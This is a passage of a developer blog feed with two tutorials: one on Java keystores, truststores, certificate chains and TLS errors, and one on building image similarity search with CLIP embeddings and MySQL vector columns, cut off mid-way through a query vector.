      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Sun, 15 Mar 2026 20:18:35 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/keystore-vs-truststore-how-ssl-certificate-chain-actually-works-with-java-examples-3hj5</link>
      <guid>https://dev.to/sanjayghosh/keystore-vs-truststore-how-ssl-certificate-chain-actually-works-with-java-examples-3hj5</guid>
      <description>&lt;p&gt;When you see the 🔒 HTTPS lock icon in your browser, something important has already happened behind the scenes.&lt;/p&gt;

&lt;p&gt;Your browser has verified:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The identity of the server&lt;/li&gt;
&lt;li&gt;The certificate chain&lt;/li&gt;
&lt;li&gt;The trusted Certificate Authority&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But where are these certificates stored?&lt;br&gt;
And how does the verification actually work?&lt;/p&gt;

&lt;p&gt;This is where Keystore and Truststore come in.&lt;/p&gt;

&lt;p&gt;In this article we will cover:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What a Keystore is&lt;/li&gt;
&lt;li&gt;What a Truststore is&lt;/li&gt;
&lt;li&gt;How the certificate chain works&lt;/li&gt;
&lt;li&gt;How they are used during the TLS handshake&lt;/li&gt;
&lt;li&gt;Examples using keytool&lt;/li&gt;
&lt;li&gt;Common SSL handshake errors&lt;/li&gt;
&lt;li&gt;A quick look at Mutual TLS (mTLS) (two-way TLS (or two-way SSL) &lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🧾 Certificate Creation Flow
&lt;/h2&gt;

&lt;p&gt;Before talking about keystore and truststore, let's see how a certificate is created.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The server generates a public/private key pair.&lt;/li&gt;
&lt;li&gt;It creates a CSR (Certificate Signing Request).&lt;/li&gt;
&lt;li&gt;The CSR is sent to a Certificate Authority (CA).&lt;/li&gt;
&lt;li&gt;The CA verifies the identity of the organization.&lt;/li&gt;
&lt;li&gt;The CA issues a leaf certificate.&lt;/li&gt;
&lt;li&gt;The certificate is signed by an Intermediate CA.&lt;/li&gt;
&lt;li&gt;The intermediate CA is signed by a Root CA.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This produces a certificate chain.&lt;br&gt;
Example chain:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Root CA&lt;br&gt;
   ↓&lt;br&gt;
Intermediate CA 1&lt;br&gt;
   ↓&lt;br&gt;
Intermediate CA 2&lt;br&gt;
   ↓&lt;br&gt;
Leaf Certificate (Server Certificate)&lt;/code&gt;&lt;br&gt;
Each certificate is digitally signed by the one above it.&lt;/p&gt;

&lt;h2&gt;
  
  
  🏪 What is a Truststore?
&lt;/h2&gt;

&lt;p&gt;A Truststore is a secure repository that contains certificates from trusted entities.&lt;/p&gt;

&lt;p&gt;These certificates are used to verify the identity of remote systems during secure communication.&lt;/p&gt;

&lt;p&gt;A truststore typically contains:&lt;/p&gt;

&lt;h3&gt;
  
  
  Trusted Root Certificates
&lt;/h3&gt;

&lt;p&gt;These are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Self-signed certificates&lt;/li&gt;
&lt;li&gt;Issued by trusted Certificate Authorities&lt;/li&gt;
&lt;li&gt;Preinstalled in operating systems, browsers, or Java runtimes&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Intermediate CA Certificates
&lt;/h3&gt;

&lt;p&gt;Intermediate certificates help bridge the chain of trust between a root CA and the server certificate.&lt;/p&gt;

&lt;h3&gt;
  
  
  🎯 Purpose of Truststore
&lt;/h3&gt;

&lt;p&gt;The truststore is used to validate certificates presented by other parties.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
When a browser connects to:&lt;br&gt;
&lt;code&gt;https://myserver.com&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The browser:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Receives the server’s certificate&lt;/li&gt;
&lt;li&gt;Builds the certificate chain&lt;/li&gt;
&lt;li&gt;Verifies the chain up to a trusted root certificate in its truststore&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If the verification succeeds, the connection is trusted.&lt;br&gt;
If not, the browser displays a certificate warning.&lt;/p&gt;

&lt;h2&gt;
  
  
  🔑 What is a Keystore?
&lt;/h2&gt;

&lt;p&gt;A Keystore is a secure repository that stores your own cryptographic identity.&lt;/p&gt;

&lt;p&gt;It usually contains:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Server private key&lt;/li&gt;
&lt;li&gt;Server leaf certificate&lt;/li&gt;
&lt;li&gt;Sometimes intermediate certificates&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;Note: The private key stored in the keystore corresponds to the leaf certificate of the server.&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The private key is used during the TLS handshake to &lt;strong&gt;prove ownership of the certificate&lt;/strong&gt;.&lt;br&gt;
It must &lt;strong&gt;never be shared&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  🔄 How Keystore and Truststore Work Together
&lt;/h2&gt;

&lt;p&gt;During the TLS handshake:&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 1 — Client connects to server
&lt;/h4&gt;

&lt;p&gt;The client initiates a secure connection.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 2 — Server sends certificate chain
&lt;/h4&gt;

&lt;p&gt;The server sends:&lt;br&gt;
&lt;code&gt;Leaf Certificate&lt;br&gt;
Intermediate Certificates&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 3 — Client validates the chain
&lt;/h4&gt;

&lt;p&gt;The client verifies:&lt;br&gt;
&lt;code&gt;Leaf Certificate&lt;br&gt;
   ↓&lt;br&gt;
Intermediate Certificate&lt;br&gt;
   ↓&lt;br&gt;
Root CA&lt;/code&gt;&lt;br&gt;
The &lt;strong&gt;root CA must exist in the client's truststore&lt;/strong&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 4 — Secure connection established
&lt;/h4&gt;

&lt;p&gt;If the certificate chain is valid and trusted, the TLS session is established.&lt;/p&gt;

&lt;h2&gt;
  
  
  ☕ Java Example — Keystore
&lt;/h2&gt;

&lt;p&gt;In Java applications, keystores are commonly stored as:&lt;br&gt;
&lt;code&gt;.jks&lt;br&gt;
.p12&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Create a Keystore
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;keytool -genkeypair \&lt;br&gt;
-alias myserver \&lt;br&gt;
-keyalg RSA \&lt;br&gt;
-keysize 2048 \&lt;br&gt;
-keystore keystore.jks&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This above command generates:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A private key&lt;/li&gt;
&lt;li&gt;A self-signed certificate&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  View Keystore Contents
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;keytool -list -v -keystore keystore.jks&lt;/code&gt;&lt;br&gt;
Example output:&lt;br&gt;
&lt;code&gt;Alias name: myserver&lt;br&gt;
Entry type: PrivateKeyEntry&lt;br&gt;
Certificate chain length: 1&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  ☕ Java Example — Truststore
&lt;/h2&gt;

&lt;p&gt;Java provides a default truststore which is:&lt;br&gt;
&lt;code&gt;$JAVA_HOME/lib/security/cacerts&lt;/code&gt;&lt;br&gt;
Default password:&lt;br&gt;
&lt;code&gt;changeit&lt;/code&gt;&lt;br&gt;
List certificates in the truststore:&lt;br&gt;
&lt;code&gt;keytool -list -keystore $JAVA_HOME/lib/security/cacerts&lt;/code&gt;&lt;br&gt;
This truststore contains &lt;strong&gt;nearly two hundred trusted CA certificates&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Import Certificate into a Truststore
&lt;/h3&gt;

&lt;p&gt;When the certificate is trusted by the Truststore&lt;br&gt;
Example&lt;br&gt;
&lt;code&gt;keytool -importcert \&lt;br&gt;
-alias myserver \&lt;br&gt;
-file server.crt \&lt;br&gt;
-keystore truststore.jks&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  ⚠️ SSL Handshake Errors Related to Certificate Issues
&lt;/h2&gt;

&lt;p&gt;Many SSL handshake failures occur because of certificate chain or trust problems.&lt;br&gt;
Here are some of the most common errors.&lt;/p&gt;

&lt;h4&gt;
  
  
  SSL Handshake Failed / Error 525
&lt;/h4&gt;

&lt;p&gt;This indicates that the &lt;strong&gt;client and server failed to establish a secure connection&lt;/strong&gt;.&lt;br&gt;
A common cause is an &lt;strong&gt;incomplete certificate chain&lt;/strong&gt;, where the server does not send the required intermediate certificates.&lt;/p&gt;

&lt;h4&gt;
  
  
  Certificate Unknown (Java / JSSE)
&lt;/h4&gt;

&lt;p&gt;In Java applications, you may see errors such as:&lt;br&gt;
&lt;code&gt;javax.net.ssl.SSLHandshakeException:&lt;br&gt;
PKIX path building failed&lt;/code&gt;&lt;br&gt;
This means the client &lt;strong&gt;cannot verify the certificate chain&lt;/strong&gt;, usually because the issuing CA is &lt;strong&gt;not present in the truststore&lt;/strong&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  ERR_CERT_AUTHORITY_INVALID (Browser)
&lt;/h4&gt;

&lt;p&gt;Browsers show this error when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The root CA is not trusted&lt;/li&gt;
&lt;li&gt;The intermediate certificate is missing&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The certificate is self-signed&lt;br&gt;
&lt;strong&gt;The certificate chain was issued by an authority that is not trusted&lt;/strong&gt;&lt;br&gt;
This error commonly appears in:&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;SQL Server connections&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Internal client-server applications&lt;br&gt;
It occurs when the &lt;strong&gt;client cannot recognize the certificate authority that signed the server certificate&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  SSL error: 0x8009001a (SChannel)
&lt;/h4&gt;

&lt;p&gt;In Windows systems using SChannel, this error usually indicates:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;An invalid certificate&lt;/li&gt;
&lt;li&gt;A broken certificate chain&lt;/li&gt;
&lt;li&gt;A trust validation failure&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Key Takeaway
&lt;/h4&gt;

&lt;p&gt;Most SSL handshake errors occur because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The client truststore does not trust the CA&lt;/li&gt;
&lt;li&gt;The server did not send the full certificate chain&lt;/li&gt;
&lt;li&gt;The certificate has expired or is invalid
Understanding keystore and truststore helps quickly diagnose these issues.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🔐 Mutual TLS (mTLS) (Or two-way TLS (or two-way SSL)
&lt;/h2&gt;

&lt;p&gt;In standard TLS:&lt;br&gt;
&lt;code&gt;Client verifies Server&lt;/code&gt;&lt;br&gt;
In Mutual TLS (mTLS):&lt;br&gt;
&lt;code&gt;Client verifies Server&lt;br&gt;
Server verifies Client&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Both sides present certificates.&lt;br&gt;
Flow:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Client connects to server&lt;/li&gt;
&lt;li&gt;Server presents its certificate&lt;/li&gt;
&lt;li&gt;Client verifies it using its truststore&lt;/li&gt;
&lt;li&gt;Server requests client certificate&lt;/li&gt;
&lt;li&gt;Client sends its certificate&lt;/li&gt;
&lt;li&gt;Server verifies it using its truststore
mTLS is commonly used in:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;Microservices architectures&lt;/li&gt;
&lt;li&gt;Banking systems&lt;/li&gt;
&lt;li&gt;Internal APIs&lt;/li&gt;
&lt;li&gt;Zero-trust security environments&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🧠 Summary
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Keystore:&lt;/strong&gt;   Stores private keys and certificates used to prove identity&lt;br&gt;
&lt;strong&gt;Truststore:&lt;/strong&gt; Stores trusted CA certificates used to verify others&lt;br&gt;
&lt;strong&gt;Certificate Chain:&lt;/strong&gt;  Establishes trust from server certificate to a trusted root CA&lt;/p&gt;

&lt;p&gt;Every secure TLS connection depends on this chain of trust.&lt;/p&gt;

&lt;h2&gt;
  
  
  📌 Final Thought
&lt;/h2&gt;

&lt;p&gt;Next time you see the 🔒 lock icon in your browser, remember:&lt;br&gt;
Behind that simple symbol is a complex system involving:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;certificate chains&lt;/li&gt;
&lt;li&gt;keystores&lt;/li&gt;
&lt;li&gt;truststores&lt;/li&gt;
&lt;li&gt;certificate authorities&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;—all working together to ensure secure communication.&lt;/p&gt;

</description>
      <category>truststore</category>
      <category>keystore</category>
      <category>tls</category>
      <category>keytool</category>
    </item>
    <item>
      <title>From Image to Vector: Building Image Similarity Search with Python and MySQL</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Sun, 08 Mar 2026 19:24:17 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/from-image-to-vector-building-image-similarity-search-with-python-and-mysql-kol</link>
      <guid>https://dev.to/sanjayghosh/from-image-to-vector-building-image-similarity-search-with-python-and-mysql-kol</guid>
      <description>&lt;p&gt;Modern applications increasingly rely on vector embeddings to search and compare data such as text, images, and audio.&lt;br&gt;
For example:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;finding visually similar images&lt;/li&gt;
&lt;li&gt;semantic document search&lt;/li&gt;
&lt;li&gt;recommendation systems&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In this article we will:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Convert an &lt;strong&gt;image to a vector embedding&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Store the vector in &lt;strong&gt;MySQL&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Compare images using &lt;strong&gt;vector similarity&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Stacks used:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Python&lt;/li&gt;
&lt;li&gt;sentence-transformers&lt;/li&gt;
&lt;li&gt;PyTorch&lt;/li&gt;
&lt;li&gt;MySQL vector support&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Final Result
&lt;/h2&gt;

&lt;p&gt;After storing the vectors in MySQL we can run a similarity query.&lt;br&gt;
Example output:&lt;br&gt;
&lt;code&gt;+------------+-------------+&lt;br&gt;
| image_name | similarity  |&lt;br&gt;
+------------+-------------+&lt;br&gt;
| img/t3.jpg | 1.00        |&lt;br&gt;
| img/t2.jpg | 0.96        |&lt;br&gt;
| img/t1.jpg | 0.96        |&lt;br&gt;
| img/t4.jpg | 0.92        |&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  System Architecture
&lt;/h2&gt;

&lt;p&gt;The overall pipeline is simple:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;An image is processed by a multimodal embedding model&lt;/li&gt;
&lt;li&gt;The model converts the image into a numerical vector&lt;/li&gt;
&lt;li&gt;The vector is stored in MySQL&lt;/li&gt;
&lt;li&gt;SQL queries compute similarity between vectors&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;AI → ML → DL → Neural Networks → LLM&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Let’s briefly explain each level.&lt;/p&gt;
&lt;h3&gt;
  
  
  Artificial Intelligence (AI)
&lt;/h3&gt;

&lt;p&gt;Artificial Intelligence refers to systems designed to simulate aspects of human intelligence, such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;learning&lt;/li&gt;
&lt;li&gt;reasoning&lt;/li&gt;
&lt;li&gt;decision making&lt;/li&gt;
&lt;li&gt;problem solving&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Early AI systems (often called Good Old-Fashioned AI) did not involve learning. They relied on predefined rules.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Example:&lt;br&gt;
IF humidity &amp;gt; 60% THEN alert&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Machine Learning (ML)
&lt;/h3&gt;

&lt;p&gt;Machine Learning is a subset of AI where systems learn patterns from data rather than being explicitly programmed.&lt;/p&gt;

&lt;p&gt;There are three main types of machine learning:&lt;/p&gt;
&lt;h4&gt;
  
  
  Supervised Learning
&lt;/h4&gt;

&lt;p&gt;Uses labeled data, where each input has a known correct output.&lt;br&gt;
&lt;em&gt;Example: Predicting house prices.&lt;br&gt;
Inputs: house size, location&lt;br&gt;
Output: predicted price&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Unsupervised Learning
&lt;/h4&gt;

&lt;p&gt;The data is not labeled. The system tries to discover patterns or structure in the data on its own.&lt;br&gt;
&lt;em&gt;Example:&lt;br&gt;
Customer purchase behavior analysis.&lt;br&gt;
For instance, the system might detect that customers who buy Product P1 often also buy Product P2.&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Reinforcement Learning
&lt;/h4&gt;

&lt;p&gt;Works through interaction with an environment using a reward/penalty mechanism.&lt;br&gt;
The system learns through trial and error, continuously improving its decisions based on feedback.&lt;br&gt;
An agent interacts with the environment repeatedly to achieve the optimal outcome.&lt;/p&gt;
&lt;h3&gt;
  
  
  Deep Learning (DL)
&lt;/h3&gt;

&lt;p&gt;Deep Learning is a subset of Machine Learning.&lt;br&gt;
It uses multi-layer neural networks to learn complex patterns in large datasets.&lt;br&gt;
Deep learning is especially powerful for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;images&lt;/li&gt;
&lt;li&gt;speech&lt;/li&gt;
&lt;li&gt;language processing&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  Neural Networks (NN)
&lt;/h3&gt;

&lt;p&gt;Neural Networks are the core architecture used in deep learning.&lt;br&gt;
They consist of nodes (neurons) organized into layers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Input layer&lt;/li&gt;
&lt;li&gt;Hidden layers&lt;/li&gt;
&lt;li&gt;Output layer&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each neuron performs a mathematical operation based on the following equation:&lt;br&gt;
y = Σ (xi * wi) + b&lt;br&gt;
Where:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;xi = input value&lt;/li&gt;
&lt;li&gt;wi = weight (importance of the input)&lt;/li&gt;
&lt;li&gt;b = bias (a learnable scalar parameter)&lt;/li&gt;
&lt;li&gt;y = output&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Data flows through the network in a feed-forward manner, and the network learns by adjusting weights during training.&lt;/p&gt;

&lt;p&gt;Types of Neural Networks&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Artificial Neural Networks (ANN)&lt;br&gt;
Basic layered neural networks where information flows in one direction.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Convolutional Neural Networks (CNN)&lt;br&gt;
Designed for image data. CNNs extract spatial features such as:&lt;br&gt;
edges&lt;br&gt;
textures&lt;br&gt;
shapes&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Recurrent Neural Networks (RNN)&lt;br&gt;
These networks contain loops and can remember previous inputs. They are commonly used for sequence data such as text or speech.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
  
  
  Large Language Models (LLM)
&lt;/h3&gt;

&lt;p&gt;Large Language Models are a type of deep learning model trained on massive text datasets.&lt;/p&gt;

&lt;p&gt;They are capable of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;understanding language&lt;/li&gt;
&lt;li&gt;generating human-like text&lt;/li&gt;
&lt;li&gt;producing embeddings for semantic similarity&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Process Overview with practical example
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Convert an image to a vector embedding&lt;/li&gt;
&lt;li&gt;Store the vector in MySQL (version 9.0 or later)&lt;/li&gt;
&lt;li&gt;Run queries to compare vectors&lt;/li&gt;
&lt;li&gt;Identify which images are most similar&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;
  
  
  Environment Setup
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Create a Python Virtual Environment
&lt;/h3&gt;

&lt;p&gt;Install the virtual environment package:&lt;br&gt;
&lt;code&gt;sudo apt install python3.12-venv&lt;br&gt;
&lt;/code&gt;&lt;br&gt;
Create the environment:&lt;br&gt;
&lt;code&gt;python3 -m venv venv&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Activate it&lt;br&gt;
Linux/macOS&lt;br&gt;
&lt;code&gt;source venv/bin/activate&lt;br&gt;
&lt;/code&gt;&lt;br&gt;
Windows&lt;br&gt;
&lt;code&gt;venv\Scripts\activate&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Install Required Libraries
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;pip install sentence-transformers pillow torch&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Create the MySQL Table
&lt;/h2&gt;

&lt;p&gt;Create a table with a vector column (createtable.sql).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    /*This SQL is to create the table with Vector , MySQL Version 9.6.0
     *The size of the Vector is set to (512) ,
     * The INSERT statement has 512 floating point number
     * and this is the correct match for Common Model Source - CLIP / Truncated OpenAI */
    CREATE TABLE image_embeddings (
        id INT PRIMARY KEY AUTO_INCREMENT,
        image_name VARCHAR(255),
        embedding VECTOR(512) -- Example for a 512-dimensional float vector
    );
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Python Script: Convert Image to Vector
&lt;/h2&gt;

&lt;p&gt;Write a Python script to convert images into vectors.&lt;br&gt;
(transformer_image-to-vector.py)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import glob
import sys
import os

# Test it!
if len(sys.argv) &amp;gt; 2:
    imageDir = sys.argv[1]
    sqlFilePath = sys.argv[2]
    if os.path.exists(sqlFilePath):
        os.remove(sqlFilePath)
else:
    print("Usage: python3 transformer_image-to-vector.py &amp;lt;image directory&amp;gt; &amp;lt;path of the output sql")
    sys.exit();

from sentence_transformers import SentenceTransformer
from PIL import Image
import json


# 1. Load the CLIP model (this is the modern equivalent of imgbeddings)
# It downloads about 600MB on the first run.
model = SentenceTransformer('clip-ViT-B-32')

#This is the Function to generate the sql from the image and write to a desired file
def get_sql_insert(image_path,file_path_to_write):
    try:
        print("Will write the image {} to file: {}".format(image_path,file_path_to_write))
        # 2. Load and process the image
        img = Image.open(image_path)

        # 3. Generate the vector (embedding)
        # We use .tolist() to turn the math array into a Python list
        embedding = model.encode(img).tolist()

        # 4. Format the list as a string for SQL [0.1, 0.2, ...]
        vector_string = json.dumps(embedding)

        # 5. Create the SQL command
        sql = "--This sql is genrated from the image using  the model SentenceTransformer('clip-ViT-B-32')\n"
        sql = sql + f"INSERT INTO image_embeddings (image_name, embedding) VALUES ('{image_path}', STRING_TO_VECTOR('{vector_string}'));\n"
        with open(file_path_to_write, "a") as file:
            file.write(sql)
        return ("Successfully Wrote the image {} to file: {}".format(image_path,file_path_to_write))

    except Exception as e:
        return f"Error: {e}"

#It will take all the .jpg files from the image directory (First parameter of this python script)
#and write to the desired file (2nd parameter of this python script)
for lst in glob.glob(f"{imageDir}/*.jpg"):
    print(get_sql_insert(lst,sqlFilePath))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Usage:&lt;br&gt;
&lt;code&gt;python3 transformer_image-to-vector.py &amp;lt;image_directory&amp;gt; &amp;lt;output_sql_file&amp;gt;&lt;/code&gt;&lt;br&gt;
The script generates SQL statements that insert vectors into the MySQL table. Run the output SQL file to store the vectors in MySQL Database.&lt;/p&gt;
&lt;h2&gt;
  
  
  Comparing Image Vectors
&lt;/h2&gt;

&lt;p&gt;Once the vectors are stored, we can compare them using vector similarity.&lt;br&gt;
At the moment, some MySQL vector functions are still evolving.&lt;br&gt;
For example, direct usage of VECTOR_DISTANCE() may have limitations in certain versions (9.60).&lt;br&gt;
So we implement custom helper functions.&lt;/p&gt;
&lt;h2&gt;
  
  
  Custom MySQL Functions
&lt;/h2&gt;

&lt;p&gt;Two helper functions are created:&lt;/p&gt;

&lt;p&gt;my_dot_product(vector, vector)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;DELIMITER //

CREATE FUNCTION my_dot_product(v1 VECTOR, v2 VECTOR)
RETURNS FLOAT DETERMINISTIC
BEGIN
    DECLARE total FLOAT DEFAULT 0;
    DECLARE i INT DEFAULT 0;
    DECLARE dim INT;
    -- Convert Vector to String, then to JSON
    DECLARE j1 JSON DEFAULT CAST(VECTOR_TO_STRING(v1) AS JSON);
    DECLARE j2 JSON DEFAULT CAST(VECTOR_TO_STRING(v2) AS JSON);

    SET dim = JSON_LENGTH(j1);

    WHILE i &amp;lt; dim DO
        SET total = total + (JSON_EXTRACT(j1, CONCAT('$[', i, ']')) * JSON_EXTRACT(j2, CONCAT('$[', i, ']')));
        SET i = i + 1;
    END WHILE;

    RETURN total;
END //

DELIMITER ;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;my_vec_norm(vector)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;DELIMITER //

CREATE FUNCTION my_vec_norm(v VECTOR)
RETURNS FLOAT DETERMINISTIC
BEGIN
    DECLARE total FLOAT DEFAULT 0;
    DECLARE i INT DEFAULT 0;
    DECLARE dim INT;
    DECLARE j JSON DEFAULT CAST(VECTOR_TO_STRING(v) AS JSON);
    DECLARE val FLOAT;

    SET dim = JSON_LENGTH(j);

    WHILE i &amp;lt; dim DO
        SET val = JSON_EXTRACT(j, CONCAT('$[', i, ']'));
        SET total = total + (val * val);
        SET i = i + 1;
    END WHILE;

    RETURN SQRT(total);
END //

DELIMITER ;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These functions allow us to compute cosine similarity between vectors.&lt;/p&gt;

&lt;h2&gt;
  
  
  Querying Image Similarity
&lt;/h2&gt;

&lt;p&gt;Now we run a query to compare stored images against a target image.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SET @target = STRING_TO_VECTOR('[0.07557862997055054, 0.3899604380130768, -0.149032324552536, 0.06481198966503143, 0.17365998029708862, 0.1696033775806427, -0.009633079171180725, 0.026114463806152344, 0.13283401727676392, -0.048670023679733276, 0.2853511571884155, -0.47713860869407654, 0.3193468451499939, -0.4782599210739136, 0.19979414343833923, -0.4020282030105591, -0.17893710732460022, -0.16028517484664917, 0.11166025698184967, -0.4441247880458832, 0.0721852108836174, -0.015377134084701538, 0.06420326232910156, -0.5317407846450806, 0.011108562350273132, 0.7078717350959778, -0.15541546046733856, 0.06636792421340942, -0.1235189437866211, 0.17564985156059265, -0.2749885618686676, -0.021165557205677032, 0.24020248651504517, 0.4338991641998291, 0.3174438774585724, -0.2427300065755844, -0.15270879864692688, -0.13448885083198547, -0.03258641064167023, 1.4516336917877197, 0.2088334858417511, -0.07482234388589859, -0.060038354247808456, -0.09696637094020844, 0.2288440763950348, -0.45773571729660034, -0.442022442817688, -0.1333482265472412, 0.20572619140148163, 0.022368118166923523, 0.2268296778202057, 0.0717138946056366, -0.18176983296871185, -0.08150641620159149, -0.3742990493774414, -0.08863221853971481, 0.24395513534545898, 0.14680302143096924, 0.45115935802459717, 0.07179692387580872, 0.13299871981143951, -0.6536737680435181, -0.10842005163431168, 0.46789559721946716, -0.09359163045883179, -0.029734283685684204, -0.4210904538631439, 0.44143062829971313, -0.2495618760585785, 0.16764293611049652, -0.0010016188025474548, 0.12750700116157532, -0.09728701412677765, -0.33462393283843994, -0.19563797116279602, 0.38896551728248596, -0.07021686434745789, 0.05845819413661957, -0.2159923017024994, 0.22142955660820007, 0.08275012671947479, 0.08141633123159409, 0.011051833629608154, -0.0470392107963562, 0.2281772345304489, 0.1281975507736206, -0.2673131823539734, 0.09869228303432465, -0.46927496790885925, 0.5890671014785767, -0.26286429166793823, 0.029046714305877686, -6.433596611022949, 0.8787387609481812, -0.3467825651168823, 0.3790345788002014, 0.04438466578722, 0.651203453540802, -0.34149351716041565, -0.8458610773086548, 0.034017741680145264, -0.2053813338279724, 0.35773321986198425, 0.04032140225172043, 0.30020737648010254, -0.20292143523693085, -0.6659493446350098, -0.14945490658283234, -0.08128952980041504, 0.037803277373313904, -0.24363872408866882, -0.5452983975410461, -0.15123391151428223, 0.06196553260087967, 0.0037244856357574463, 0.37201881408691406, 0.3830801248550415, 0.038900259882211685, 0.5477883815765381, -0.2165623903274536, -0.12358544021844864, 0.6665405035018921, 0.08692356944084167, -0.7012655138969421, -0.2776182293891907, -0.10287892073392868, -0.16323958337306976, 0.29088079929351807, 